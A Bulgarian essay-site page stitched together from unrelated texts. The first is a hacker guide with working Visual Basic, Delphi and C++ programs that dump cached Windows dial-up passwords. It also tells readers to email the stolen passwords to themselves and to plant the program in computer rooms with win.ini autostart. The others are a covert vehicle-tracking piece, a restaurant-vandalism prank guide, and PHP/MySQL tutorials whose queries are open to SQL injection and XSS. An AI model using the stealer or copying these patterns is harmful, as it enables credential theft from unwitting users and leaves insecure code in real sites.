Начало Списък Топ 10 Платени Линкове За Нас
Търсене     
Ако търсите реферат, дипломна работа, курсова работа, документ, есе, пищов - това е точното място.
Ако имате въпроси или мнения - моля пишете ни
Реферати, Доклади, Курсови работи - Referatite.info
Хакването на пароли, заедно с няколко примера на Visual Basic, Delphi, C++ и скриптове на PHP и MySQL

Хакването на пароли, заедно с няколко примера на Visual Basic, Delphi, C++ и скриптове на PHP и MySQL


Варнинг: Тхис техт филе'с то бе усед фор едуцатионал пурпосес онлъ

Windows Passwords Cracking

Eto me otnowo s edno dosta interesno i kasaeshto mnogo ot was neshto. A imenno towa e wzimaneto na paroli za Internet (kazano naj-lamersko). E neshtata nikak ne sa trudni. W tazi dokumentacia smiatam da opisha principa na hackwaneto na parolite kakto i sthe wi dam programi na Visual Basic,Delphi i C++ napraweni za tazi cel.

Ako wse oshte niakoj ot was ne znae parolite za Dial-up se syhraniawat w file s razshirenie PWL wyw washata Windows direktoria

Tozi file ima slednata struktura (w zakodiran wid razbira se)

Wid na resursa (1 bajt)
Ime na resursa (do 255 bajta)
Parola za resursa (do 255 bajta)

Imeto na resursa ima slednia wid:

Whoden_File/Ime_na_connectiona/User_name
napr.
*Rna/My Connection/nasko

Za da se razkodira PWL file-a Windows izpolzuwa specifichna parola, koiato ne e ukazana w tozi file. Tazi parola e
swyrzana s towa dali potrebitelia se e lognal w Windows. Ako pri wkliuchwaneto wi w Windows ne izpolzuwate login
imeto i parolata na potrebitelia, PWL file-a niama da moje da byde razkodiran. Za towa ako imate kompiutyr, kojto se izpolzuwa ot dosta hora slagajte parola w Windows-a si ili ne izbirajte Save Password w Dial-up Networking

Naj-chesto imenata na potrebitelite sywpadat s imeto na PWL file-a. Za da moje da byde izpolzuwan edin PWL file, toj triabwa da e registriran w sistemata. Towa moje da se izwyrshi chrez file-a system.ini . Otworete go i otidete w [Passwords Lists] kydeto shte widite wsichki registrirani PWL fileowe.

Sega da se zaemem s razkodiraneto na tozi file po-seriozno.

Shte razgledam niakolko wyzmojnosti:

1) Imate PWL file, no ne znaete login name-a ili parolata za Windows na choweka, ot kojto ste go swili
 - Preporychwam wi da izpolzuwate programata Cain ,koiato
   prilaga Brood Force ataka po file-a s cel da otkrie paro-
   lata i da go razbie

2) Imate PWL file-a ,kakto i user name-a na potrebitelia za Windows (i ako ima parola i neia)
 - E dobre. Kopirajte file-a wyw washata Windows direktoria i
   go registrirajte w system.ini . Sega otworete sistemnia
   register (RegEdit.EXE) i tyrsete stojnost ot wida:
   HKEY_CURRENT_USER\RemoteAccess\Profile
   Wmesto Username napishete login imeto na washata jertwa.
   (Moje da se naloji i da smenite imeto na connection-a)
   Sega restartirajte Windows i se wkliuchete s chujdia
   username. Pusnete Dial-up Networking i bi triabwalo da se
   poiawiat negowoto ime i parola (sys "*"). Sled towa izpol-
   zuwajte niakoia programa za razkriwane na tekstowi kutii
   s Password Char (ne znam konkreten adres ama gi ima mnogo)

   (tozi metod ne sym go probwal lichno, no sa mi kazwali che "raboti idealno")

3) Sega idwa naj-trudnia moment ... da naprawim programa za razkodirane na PWL file. Moje bi si mislite che shte triabwa
da izwyrshim stotici operacii nad tozi file, no wsyshtnost Microsoft sa oblikchili mykite ni kato sa si naprawili gotowa proce- dura za dekriptiraneto mu :)

Ta tazi procedura e WNetEnumCachedPasswords i se namira wyw file-a MPR.DLL . Moje bi tuka e momenta da wmykna edin interesen nachin da razberete dali niakoia programa niama da wi byrka w parolite. Ta znachi predi da startirate kakwoto i da e
bilo symnitelo EXE , izberete Quick View (ot skachashtoto menu) i prowerete dali programata ne prawi obryshtenie kym mpr.dll . Ako e taka po-dobre ne pipajte programata.

Da se wyrna na misylta si sega. Znachi tazi procedura ima slednia format

WORD WNetEnumCachedPasswords (
     LPSTR s,
     WORD  i,
     BYTE  b,
     XPTR  Proc,
     DWORD l);

Pyrwite tri parametryra do sega nikyde ne sym prochel za kakwo sa, no az izpolzuwam slednite im stojnosti:
 s = "";
 i = 0;
 b = 255;
 l = 0;

Za da izwlechem parolata shte izpolzuwame slednia zapis:

typedef struct PCE {
WORD cbEntry; // goleminata na resursa kato cialo
WORD cbResource; // goleminata na imeto na resursa
WORD cbPassword; // goleminata na parolata na resursa
BYTE iEntry; // poziciata,ot koiato se chete PWL file-a
BYTE nType; // tipa na resursa (6 e za Dial-up paroli)
BYTE abResource[1]; // nachaloto na imeto na resursa
} CACHED_PASS;
 

Za chetwyrti parametyr na WNetEnumCachedPassword shte slojim adresa na funkcia, koiato shte obrabotwa syotwetnite danni i shte wryshta rezultata w niakakwa promenliwa ili na ekrana
 

Znam che wsichko towa moje da wi zwuchi dosta neiasno (i s men w nachaloto beshe taka), no ako se zanimawate pone malko s programirane ,kodowete otdolu shte wi pomognat da go shwanete. (slojil sym komentar za obiasnenie na wsich-
ko)
 

Visual Basic (5.0 ili po-wisoka)

Za naj-lesno w nachaloto si slojete edin modul w programata kydeto shte wkarate koda, za da moje da wi e winagi na razpolojenie. Oswen towa shte wi triabwa ListBox s ime List1 wyw Form1

KOD:

Declare Function WNetEnumCachedPasswords Lib "mpr.dll" (ByVal s As String, _
ByVal i As Integer, ByVal b As Byte, ByVal proc As Long, ByVal l As Long) _
As Long

Type PASSWORD_CACHE_ENTRY
   cbEntry As Integer ' znaete
   cbResource As Integer ' znaete
   cbPassword As Integer ' znaete
   iEntry As Byte ' znaete
   nType As Byte ' znaete
   abResource(1 To 1024) As Byte ' syshto
End Type

Public Function callback(X As PASSWORD_CACHE_ENTRY, ByVal lSomething As _
 Long) As Integer
'Towa e funkciata,koiato shte izwejda dannite na ekrana w List1

Dim nLoop As Integer
Dim cString As String
Dim Resource As String
Dim ResType As String
Dim Password As String
ResType = X.nType

'ot tuk prewkliuchwam na HTML format za po-lesno :)
' <formatirane na imeto na resursa>
For nLoop = 1 To X.cbResource
If X.abResource(nLoop) <> 0 Then
cString = cString & Chr(X.abResource(nLoop))
Else
cString = cString & " "
End If
Next
' </formatirane na resursa>

Resource = cString
cString = ""

' <formatirane na parolata>
For nLoop = X.cbResource + 1 To (X.cbResource + X.cbPassword)
If X.abResource(nLoop) <> 0 Then
cString = cString & Chr(X.abResource(nLoop))
Else
cString = cString & " "
End If
Next
' </formatirane na parolata>

Password = cString

cString = ""

Form1.List1.AddItem "Resource " & Resource & " Password: " & Password
callback = True

End Function

Public Sub GetPasswords()
' kato wi triabwa parola napishete Call GetPasswords i ne zabrawiajte wyw
' formata da imate List1
Call WNetEnumCachedPasswords("", 0, 255, AddressOf callback, 0)
End Sub
 

KRAJ

E dobre. Mislia che ot towa malko wi se poizbistri. Sega shte wi dam samo
kodowete za Delphi (3.0 ili po-wisoka) i C++
 

Delphi
(towa wi e celia Unit)

KOD:
 
 

unit Unit1;

interface

uses
  Windows, SysUtils, Classes, Forms, Controls, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    ListBox: TListBox;
    procedure FormShow(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public

  end;

var
  Form1: TForm1;

{Standartna procedure ot mpr.dll }
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall;

implementation

{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';

type
 PWinPassword = ^TWinPassword;
 TWinPassword = record
   EntrySize: Word;   { Obshta golemina na bloka }
   ResourceSize: Word;  { Golemina na resursa (Rna/My Connection naprimer) }
   PasswordSize: Word;  { Golemina na parolata }
   EntryIndex: Byte;    {Whodiashtata pozicia w PWL file-a }
   EntryType: Byte;     {Tip na resursa }
   PasswordC: Array[0..$FF] of Char; { bufer za iztochnia string }
  end;

var
  WinPassword: TWinPassword;

{Funkcia za dobawiane na sledwashtata parola w spisyka }
function AddPassword(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall;
var
  Password: String;
  PC: Array[0..$FF] of Char;
begin
  Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
  PC[WinPassword.ResourceSize] := #0;
  CharToOem(PC, PC);
  Password := StrPas(PC);

  Move(WinPassword.PasswordC, PC, WinPassword.PasswordSize + WinPassword.ResourceSize);
  Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
  PC[WinPassword.PasswordSize] := #0;
  CharToOem(PC, PC);
  Password := Password + ': ' + StrPas(PC);

  Form1.ListBox.Items.Add(Password);
  Result := True;
end;

procedure TForm1.FormShow(Sender: TObject);
begin
  if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
   begin
    Form1.ListBox.Items.Add('No passwords found');
    halt;
   end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
     Form1.ListBox.Items.Delete(Form1.ListBox.ItemIndex);
end;

end.

KRAJ

Za tazi programa shte wi triabwa otnowo samo edin ListBox (s ime ListBox) i Button. Razbira se mnogo
lesno moje da e promenite da kajem wmesto w ListBox da gi zapiswa wyw file
ili da gi prashta po e-mail (kakto az sym si naprawil)
 

I nakraia da ne podceniawame i C++ :))
Eto wi i koda za nego

KOD:
 

#include <stdafx.h>
#include <windows.h>
#include <stdio.h>

typedef struct PCE {
WORD cbEntry; // syshtoto
WORD cbResource; // i pak syshtoto
WORD cbPassword; // niamam dumi
BYTE iEntry; // eto me i tuk :)
BYTE nType; // kwo li shte e towa ?
BYTE abResource[1]; // piswa nali?

} CACHED_PASS;

char *buf, *ob1;    // bufer za parola
int cnt = 0; // kolko parolki imame

BOOL CALLBACK pce(CACHED_PASS *x, DWORD)
{
cnt++;

// obrabotka na user name
memmove(buf, x->abResource, x->cbResource);
buf[x->cbResource] = 0;
CharToOem(buf, ob1);
printf("%-30s : ", ob1);

// obrabotka na parola
memmove(buf, x->abResource+x->cbResource, x->cbPassword);
buf[x->cbPassword] = 0;
CharToOem(buf, ob1);
printf("%s\n", ob1);

return TRUE;
}

void main()
{
buf = new char[1024];
ob1 = new char[1024];

HINSTANCE hi = LoadLibrary("mpr.dll");
if(!hi)
{
puts("Error loading mpr.dll");    // Edwa li tozi red shte se izpylni ama
                                  // neka si go slojim :)
return;
}
WORD (__stdcall *enp)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD (__stdcall *)(LPSTR, WORD, BYTE, void*, DWORD))GetProcAddress(hi,
"WNetEnumCachedPasswords");
if(!enp)
{
puts("Error loading function");    // Syshtoto kato otgore
return;
}
(*enp)(0,0, 0xff, pce, 0);
if(!cnt)
puts("No passwords found.\n");

FreeLibrary(hi);
}

KRAJ

Ami towa e wsichko ot men. Opitajte se da si naprawite programa, koiato da wi
prashta parolata na e-maila (ama ne izpolzuwajte ActiveX komponenti shtoto
programata wi shte stane SUX)
Sega edinstwenoto neshto, koeto triabwa da naprawite e da se wmyknete w nia-
koia zala i da im zaredite programata.

I mislia che tuka e miastoto da wmykna oshte edin interesen trik, kojto moje
da se izpolzuwa naj-weche w zali s Dial-up wryzka za kradene na parola.
Tyj kato riadko shte wi pusnat da sednete na server-a kydeto e PWL file-a
mojete prez lokalnata mreja da wkarate wirusa wi na server-a im (naj-chesto
s Network Neighbourhood). Sled towa redaktirajte wtoria ili tretia red na
win.ini ,kato sled "run=" napishete pylnia pyt do EXE-to wi. Sled towa tejko
im :) . E da ama wie imate da si click-ate s chujd pass pone mesec

1. МАЛКО ОТ JAMES BOND
2. McDonalds PHUN!!!

--------------------------------------------------------------------------------


***********************************************************************
************************** МАЛКО ОТ JAMES BOND ************
************
***********************************************************************
автор : General Failure

Помните ли оная малка "джаджа", дето се слагаше на колите на лошите в "James Bond" и той ги следеше от разстояние? Този файл е за тях.Първо - те съществуват. Но дори и най-добрите и професионални модели не могат да правят това,което могат моделите на Bond - да дадат движеща се карта и колата на нея. Основата на машинката са предавател с размер на кутия за цигари (закрепва се чрез магнит) и приемник, използващ 2 еднакви антени, свързани към централен нулев индикатор, който дава връзка с предавателя. Приемника се използва от пилоти, радио любители и охрани-телен персонал, за да проследяват движението на предавателя в къси обхвати. Властите го използват за проследяване на движение на хора, наркотици или оръжия,закачайки предавател към предмета(колата), който трябва да се проследи. Предавателя обикновено е малък UHF или VHF излъчвател с батерии, антена 45-50см. Предавателя трябва да излъчва постоянен сигнал на дадена честота. Той се монтира на преследваното МПС(обикновено чрез магнит (ако имате по-добри идеи-пращайте :) А сега за приемника : 2 идентични антени са свързани с чифт PIN диоди, които захранват фазов детектор, който смесва идващите сигнали.Когато обекта на следене е директно пред вас, сигналите на двете антени пристигат по едно и също време. Това отчита център 0 на уреда. За нещастие устройството не може да различи дали сигнала идва отпред или отзад,затова е добре да следите жертвата отблизо. Ако обекта се движи на "10 часа" ,то той ще се вижда на "4 часа" на приемника.Целта е винаги да клони към 0 и да следите предавателя по най-пряката посока. С малко упражнение ще можете да следите предмет(човек) на препълнена улица без да го изгубите.Стрелката се клати,защото сигнала стига до едната антена по-бързо отколкото до другата и това предизвиква смяна на волтажа във фазовия детектор.Някои модели имат светлинни диоди в 360 градусов кръг и използват 4 антени.Това ви дава пълни кръгови възможности за засичане,като фазата между чифтовете антени се изчислява също.И сега как можем да се защитим: Най-лесният начин да засечем ако ни следят е да се разходите около МПС-то с портативен скенер на честотите и да търсите откъснат сигнал.Това също е и добър метод за отстраняване на такива устройства от вашия дом.Тези скенери са малко скъпи,но.....:) Ако намерите случайно такова устройство - позабавлявайте се малко :-) Закачете го на влак,автобус или друго МПС - най-добре е да го закачите на някой от МПС-тата на преследвачите и да наблюдавате как те се следят сами ;-)))))

««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««« Този текст (или части от него) е предназначен замо за обучение. Отговорността за последствията от неговото използване НЕ Е НАША «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

--------------------------------------------------------------------------------

***********************************************************************
********** McDonalds PHUN!!! ********
***************************************************

автор : General Failure

Въпреки че McDonalds е известен със своята реклама и със целта си да накара света да мисли, че няма нищо по-добро от bigmac,всеки ресторант е толкова неукрепнал,колкото новозапочнат бизнес.Нестига,че персонала е неопитен в това какво трябва да върши,но и загубва всякакъв контрол в спешни ситуации......ето ни и нас:-) Първо вземете няколко приятели(4 е най-добре:),влезте в ресторанта, говорете силно и изповайте силен парфюм, който ще накара хората от съседната маса да си тръгнат.Ако някой от смешно облечените хора мие пода,може нарочно да изсипвате боклуци(но дребни).Може и да се престорите,че се подхлъзвате и си чупите главата(но внимавайте че може да стане и наистина:)След това си изберете маса и започнете да викате и ръкомахате така,че всеки, който седи там ще стане и ще си тръгне. Сложете двама приятели да седнат там и отидете на касата с другия. Намерете си най-късата опашка или отидете при най-дългата и кажете,че ще купувате само една кола - ще ви пуснат напред:) Сега може да започвате с ПОРЪЧВАНЕТО. Задължително е да си поръчате хамбургер без нищо (без сосове де:)-това отнема допълнително време и тея,дето ги правят се изнервят ужасно:) След това си поръчайте МcNuggets x6 - 9кутийки ,но след това кажете че искате McNuggets x9 - 6кутийки:-)))) В крайна сметка отидете да "попитате вашите приятели",а дотогава другия ви приятел прави свалка на касиерката:) Върнете се и поръчайте 6кутийки по 9 броя.Ще получите въпрос "Какъв сос искате?" - ми вижте от кой сос има примерно останали 3-4 кутийки и искайте от него - така ще трябва някой да отиде до склада за друго кашонче от тях:) И последно - нещо за пиене - някой иска кола,друг бира,трети кафе. След това нямате проблем да отидете и да кажете,че не сте искал бира(ама веднага след това!) и искате SPRITE(примерно) - ще ви го сменят и после ще имат проблем с бирата(ми там никой не си купува бира-хехе:) След като вземете всичката храна ЗАДЪЛЖИТЕЛНО трябва да се окаже,че нямате достатъчно пари(ама не да ви липсват много - от порядъка на 200-300лв). Касиерката обикновено е толкова объркана,че ще ви "остави"(но може примерно и друго - приятеля, дето одеве я сваляше да й каже: "Ако ни ги опростиш, шъ излезем заедно утре вечер" и й дава некъф тел.номер-фалшиф разбира се).Такааа и сега се качвате горе и сядате.....(ах как ме сърбят пръстите:) Не е лоша идея някой от вас по някое време да извика:"Ааааа,тука има буболечка". Ще забележите как по-голямата част от хората ви гледат учудено. Друга cool идея е да сложите табелка ПУШЕНЕТО ЗАБРАНЕНО! на стената.Ще видите как доста хора сядат и като я видят стават:)След като свършите масата се оставя като след буря:) Но не забравяй за тоалетната - задължително е да натъпчеш един хамбургер в дупката и да пуснеш няколко пъти водата преди да излезеш, ей! Пък и после като я отпушват няма да знаят , че т'ва кафяво нещо е хамбургер:) . И като си тръгвате зимате един пълен шейк и го изливате в кошчетата,където любезно е написано БЛАГОДАРИМ ВИ. Това върви с високо изказана теза:"Леле,има ужасен вкус".Но гледайте тоя шейк да падне не в найлона, а отстрани - та да има кво да чистят :) И като за финал обърнете табелката "отворено"(се едно вече значи "ние бяхме тук!!!"). ЧЕСТИТО!!! Вие току що създадохте един хаос сред служителите на ресторанта:) И тъй като няма никакво наказание за хвърляне на отпадъци в ресторант,дразнене на хора в закусвалня и други такива,вие си тръгвате без проблеми.Забавно,нали??

Този текст (или части от него) е предназначен замо за обучение. Отговорността за последствията от неговото използване НЕ Е НАША

21.04.02 Как да си направя книга за гости ?
автор : PoLiG
брой прочитания : 299

Това е един лесно изпълним скрипт, ако използваме MySQL база данни. Нека първо да решим какво ще се въвежда в нашата книга за гости. Примерно име, email и някакво съобщение. Това означава, че трябва да си направим таблица с 4 полета. Нека те да са с такива характеристики :
* id - INTEGER; AUTO_INCREMENT
* name - VARCHAR 50
* email - VARCHAR 100
* message - TEXT

До тук добре :) Тази таблица можете да направите през phpMyAdmin. Следващото нещо и да направим 2 страници :
* guestbook.php - страница, от която можем да изпращаме запис към базата от данни и същевреммено да видим записите изпратени преди нас. Това е все едно да имаме нормалните страници Sign и View в едно :)
* guestbook_add.php - скрипт, който изпраща към базата от данни

Ето и тяхните реализации :

// guestbook.php - begin

<form action="guestbook_add.php" method="POST">
<table border="0" cellpadding="0" width="58%">
  <tr>
    <td width="36%"></td>
    <td width="64%"><input type="text" name="name" size="20" value="Името ви"></td>
  </tr>
  <tr>
    <td width="36%"></td>
    <td width="64%"><input type="text" name="email" size="20" value="Email-а ви"></td>
  </tr>
  <tr>
    <td width="36%" valign="top"><p align="right">Съобщение:</td>
    <td width="64%"><font face="Bookman Old Style" size="2"><textarea rows="8" name="message" cols="40"></textarea></font></td>
  </tr>
  <tr>
    <td width="36%" valign="top"></td>
    <td width="64%"><input type="submit" name="submit" value="Изпрати" width="79" height="25"></td>
  </tr>
</table>
</form>

// Това беше първата част на guestbook.php, която изпраща заявка към скрипта. Ето и втората част :

<?php
if (!isset($pageid)) { $pageid=0; };

$db_name = "";
$db_user = "";
$db_pass = "";

$db_host = "";

$connection = mysql_connect($db_host, $db_user, $db_pass) or die("no connect");
$db = mysql_select_db($db_name, $connection) or die("no db select");
$query = "SELECT * FROM guestbook ORDER BY id DESC LIMIT ". ($pageid*10) .",10"; // разделяме всичките записи по 10 на страница. За това ни трябва и $pageid
$result = mysql_query($query) or die("no select");

echo "<table width=\"100%\">\n";
while ($rows = mysql_fetch_row($result))
{
  echo "
  <tr>\n
    <td width=\"21%\" align=\"right\"><font face=\"Verdana\" size=\"1\">Име</font></td>\n
    <td width=\"79%\"><font face=\"Verdana\" size=\"1\">$rows[0]</font></td>\n
  </tr>\n
  <tr>\n
    <td width=\"21%\" align=\"right\"><font face=\"Verdana\" size=\"1\">Email</font></td>\n
    <td width=\"79%\"><font face=\"Verdana\" size=\"1\">$rows[1]</font></td>\n
  </tr>\n
  <tr>\n
    <td width=\"21%\" valign=\"top\" align=\"right\"><font face=\"Verdana\" size=\"1\">Съобщение</font></td>\n
    <td width=\"79%\"><font face=\"Verdana\" size=\"1\">$rows[2]<
/font></td>\n
  </tr>\n
  <tr>\n
    <td width=\"21%\"><font face=\"Verdana\" size=\"1\">&nbsp; </font></td>\n
    <td width=\"79%\"><font face=\"Verdana\" size=\"1\">&nbsp; </font></td>\n
  </tr>\n
  ";
}
echo "</table>\n";

$query = "SELECT count(*) FROM guestbook";
$result = mysql_query($query);
$number = mysql_fetch_row($result);
$number_pages = floor(($number[0]-1)/10) + 1; // формулата по която се изчислява броят на страниците, в зависимост от броя на записите в базата данни (който е $number[0]):)
if ($number[0]>10) {for ($i=1; $i<=$number_pages; $i++) { $ii=$i-1; echo "<font face=\"Verdana\" size=\"1\"><a href=\"guestbook.php&pageid=$ii\">$i</a> </font>"; }}
?>

// guestbook.php - end

Сега малко разяснения по последните няколко реда. Надявам се нагоре да няма въпроси (ако все пак нещо неразбирате, пратете ми email или попитайте в форумите). В зависимост от $pageid, заявката към SQL базата данни се изменя. При $pageid == 0 (което е по default), се избират последните добавени 10 записа чрез DESC LIMIT 0,10. Това DESC обръща таблицата на обратно и така селектваме последните 10 записа, като започваме от 0 т.е. първия :)

Последния ред създава цикъл, който изкарва в HTML нещо от рода на : 1 2 3 4 5 6, ако страниците са 6. Първа страница е текущата и има параметър $pageid == 0, втората - 1, третата - 2 и т.н. По този начин селектваме точно нужните 10 записа.

Сега остава да напишем и последния скрипт и точно файла guestbook_add.php, който изпраща данни към DB-то :) Ето го и него :

// guestbook_add.php - begin

<?php
if (($name=='') OR ($email=='') OR ($message=='')) die ("Допуснахте грешка при въвеждането на данните !!!");

$db_name = "";
$db_user = "";
$db_pass = "";
$db_host = "";

$connection = mysql_connect($db_host , $db_user , $db_pass) or die("no connect")
;
$db = mysql_select_db($db_name) or die("no db select");
$query = "INSERT INTO guestbook(name, email, message) VALUES ('$name', '$email', '$message');";
$result = mysql_query($query, $connection) or die("no query add");
echo "<p><font face=\"Verdana\" size=\"1\">Заявката е изпълнена успешно :)<br><a href=\"guestbook.php\">Обратно</a>";
?>

// guestbook_add.php - end

Няма нужда от коментари в дадения код. Ако някой има проблеми да пита в форумите или да прочете урока по MySQL. Надявам се да съм ви бил от полза :)

P.S. Ако имате проблеми, питайте ме, защото този код не е на 100% тестван !

21.04.02 Как да си направя mailing list ?
автор : PoLiG
брой прочитания : 182

Ето едно решение на въпроса как да си направя mailing list :) Има много системи по големите сайтове, аз обаче ще ви покажа една, проста, удобна и лесна за използване :) За целта ви трябва MySQL база данни (естествено :)) и инсталирано PHP. Нека да преминем към същественото :

Първото нещо което ни трябва за скрипта е таблица в MySQL DB-то където да пазиме информацията. Нека тя се казва 'mailing_list'. Ето с какви характеристики трябва да е тя :
* id - първото поле е ID. То трябва да е integer и auto_increment. Толкова :)
* name - второто поле е име. То може да е примерно VARCHAR 50 :)
* email - третото последно поле - email. То трябва също примерно да е VARCHAR 75 :)
Правиме една такава таблица от phpMyAdmin и всикчо е oK :)

Вече имаме таблица mailing_list готова на нашата база данни. Следващата стъпка е да направим първите 2 файла от нашият скрипт, а те са именно формата за изпращане на данни и скрипта, който ги изпраща :

// insert.htm - begin

<form action="insert.php" method="POST">
  <p><font face="Verdana" size="1"><b>вашето име:</b> <br>
  <input type="text" name="name" size="15"><br>
  <b>вашият email:</b><br>
  <input type="text" name="email" size="15"><br>
  <input type="submit" value="Изпрати" name="submit"></font></p>
</form>

// insert.htm - end

Това е формата ни за изпращане на информация. Нека сега да осъществиме и скрипта, който изпраща данните :)

// insert.php - begin

<?php

// моля прочетете урока по MySQL за да ви е напълно ясен всеки ред от този код

$db_host = "database_host";
$db_name = "database_name";
$db_user = "database_user";
$db_pass = "database_pass";

$connection = mysql_connect($db_host, $db_user, $db_pass); // свързваме се с базата данни
$db = mysql_select_db($db_name, $connection); // избираме база данни
$query = "INSERT INTO mailing_list(name, email) VALUES ('$name', '$email')"; // записваме заявката към DB-то
$result = mysql_query($query, $connection); // изпълняваме заявката
?>

// insert.php - end

Вече е напълно готова фазата с изпращането на данните. Сега остава да направиме файл, с който да четем информация от базата данни, файл с който да триеме информация (2 файла - формата и скрипта) и файл, с който да изпращаме новините на всички, които са се записали (отново 2 файла). Ето и как ще четеме, кой се е записал :)

// list.php - begin

<?php
$db_host = "database_host";
$db_name = "database_name";
$db_user = "database_user";
$db_pass = "database_pass";

$connection = mysql_connect($db_host , $db_user , $db_pass); // конектване за хоста
$db = mysql_select_db($db_name, $connection); // избиране на базата данни
$sql_query = "SELECT * FROM mailing_list"; // селектиране на всичко от таблицата mailing_list
$result = mysql_query("$sql_query"); // изпълняване на заявката
echo "<table cellspacing='5' cellpadding='5' border ='0' width = '%100' align='center'>"; // създаване на HTML таблица
echo "<tr><td><b>id</b></td><td><b>name</b></td><td><b>email</b></td></tr>"; // създаване на HTML таблица

while ($rows = mysql_fetch_row($result))
{
  echo "<tr><td>$rows[0]</td><td>$rows[1]</td><td>$rows[2]</td></tr>";
}
?>

// list.php - end

Стартирайки файла list.php, ще разберете кой се е регистрирал за вашият news letter. До тук добре... остава изтриването и изпращането на email-ите :) Ето и реализация на delete скриптовете :

// remove.htm - begin

<form action = "remove.php" method = "post">
  <table align="center">
    <tr>
      <td>Име: </td>
      <td><input type = "text" name = "name2"></td>
    </tr>
    <tr>
      <td>Email: </td>
      <td><input type = "text" name = "email2"></td>
    </tr>
    <tr>
      <td><input type = "submit" value = "Изтрий" name="submit"></td>
      <td><input type = "reset" value = "Изчисти" name="reset"></td>
    </tr>
  </table>
</form>

// remove.htm - end

Ето и реализация на remove.php. Този скрипт трие абсолютно всички с този email. Ако има 3ма регистрирани с този email, още при първият човек, и другите 2ма ще бъдат изтрити !

// remove.php - begin

<?php
$db_host = "database_host";
$db_name = "database_name";
$db_user = "database_user";
$db_pass = "database_pass";

$connection = mysql_connect($db_host , $db_user , $db_pass);
$db = mysql_select_db($db_name);
$sql_query = "DELETE FROM mailing_list WHERE email = '$email2'";
$result = mysql_query("$sql_query");
echo ("Хората с този email, бяха изтрити");
?>

// remove.php - end

Ето и последните 2 файла, които са нужни за изпращане на news letter-а ни :)

// send.htm - begin

<form action="send.php" method="post">
  <table align="center">
    <tr>
      <td>Тема : </td>
      <td><input type = "text" name = "subject" size="70"></td>
    </tr>
    <tr>
      <td>Съобщение : </td>
      <td><textarea name = "body" cols = "50" rows = "20" wrap = virtual></textarea></td>
    </tr>
    <tr>
      <td><input type = "submit" value = "Изпрати"></td>
      <td><input type = "reset" value = "Изчисти"></td>
    </tr>
  </table>
</form>

// send.htm - end

Реализация на send.php :

// send.php - begin

<?php
if (($subject == "") || ($body == "")) { echo "Грешка !!!"; exit; }
else {
  $db_host = "database_host";
  $db_name = "database_name";
  $db_user = "database_user";
  $db_pass = "database_pass";

  $connection = mysql_connec
t($db_host , $db_user , $db_pass);
  $db = mysql_select_db($db_name);
  $sql_query = "SELECT email FROM mailing_list";
  $result = mysql_query($sql_query);
 
  while ($row = mysql_fetch_array($result))
  {
    $address = $row[0];
    @mail($address ,$subject , $body , "From:Вашето име<вашият@email.com>");
    echo ("новината изпратена до : $address<br>");
  }
 
  echo ("Операцията завършена успешно !!!");
}
?>

// send.php - end

Това е целият скрипт. Ако имате проблеми, можете да ме попитате лично на email-а ми, или да напишете тема в Support Forums :) Надявам се да съм ви от полза !

21.04.02 Какво е MySQL и как мога да го използвам в моя сайт ?
автор : PoLiG
брой прочитания : 290

Това, което един начинаещ трябва да знае за MySQL първоначално са само няколко команди. Няма да описвам инсталирането, конфигурирането и т.н. в тази статия. За да можете да изпробвате това, което ще поместя в тази статия, трябва само да имате сървър с инсталиран MySQL  и скрипта phpMyAdmin на него(http://www.phpwizard.net). Ами да започваме :)

Първото нещо, което ви трябва е да създадете своята базаданни. Ако не сте на local сървър, а на безплатен едва ли ще имате тази възможност. Обикновенно още при регистрирането ви се заделя една и вие можете да използвате само нея. 2рата стъпка е да създадете таблица. Нека в нашия случай тази таблица има 3 полета - id, name, email. Създаваме тази таблица с тези параметри :
* id - INTEGER
* name - VARCHAR 50
* email - VARCHAR 100

P.S. Ако неможете да направите тази таблица с phpMyAdmin, тогава просто попитайте в форумите ни.
Кликваме ОК и всичко си работи. Таблицата ни вече е готова. Сега идва ред на РНР. Първо да покажа как се конектваме за DB-то :)

<?php

$connection = mysql_connect("host", "username",
"password");
$db = mysql_select_db("database", $connection);

?>

На първия ред на кода се конектваме за дадения mysql сървър, който трябва да бъде написан на мястото на HOST примерно db.host.sk, ако става въпрос за Host.SK. Попълваме username и password и всичко е наред. На втория ред променяме database с името на нашата базаданни и вече сме свободни да правим каквото си поискаме :)

<?php

$connection = mysql_connect("host", "username", "password");
$db = mysql_select_db("database", $connection);
$query =
"SELECT * FROM table";
$query = "INSERT INTO table (name, email) VALUES ('Tony Evangelatov', 'evangelatov@hotmail.com')";
$query = "INSERT INTO table (id, name, email) VALUES ('563', 'Tony Evangelatov', 'evangelatov@hotmail.com')";
$result = mysql_query($query, $connection);

?>

Така... Първо да кажа какво прави това : $result = mysql_query($query, $connection); . Този ред, изпълнява даденото query. По начина, по който съм ги написал горе естествено ще се изпълни само последното $query. Надяваме се на всеки да му е ясно защо е така :) В случай, че изпълним командата INSERT или DELETE (после ще говоря за нея), повече няма какво да правим. Те са се изпълнили - изтрили сме или сме добавили каквото искахми и светът продължава :) Но ако използваме SELECT, вие ще попитате "Как ще видя резултатът, който ме интересува ?". Ами много лесно - да продължим с кода :

<?php

$connection = mysql_connect("host", "username", "password");
$db = mysql_select_db("database", $connection);
$query = "SELECT * FROM table";
$result = mysql_query($query, $con
nection);

echo "<table><tr><td><b>ID</b></td><td><b>NAME</b></td><td><b>EMAIL</b></td></tr>\n";
while ($rows = mysql_fetch_rows($result))
{
  echo "<tr><td>$rows[0]</td><td>$rows[1]</td><td>$rows[2]</td></tr>";
}

?>

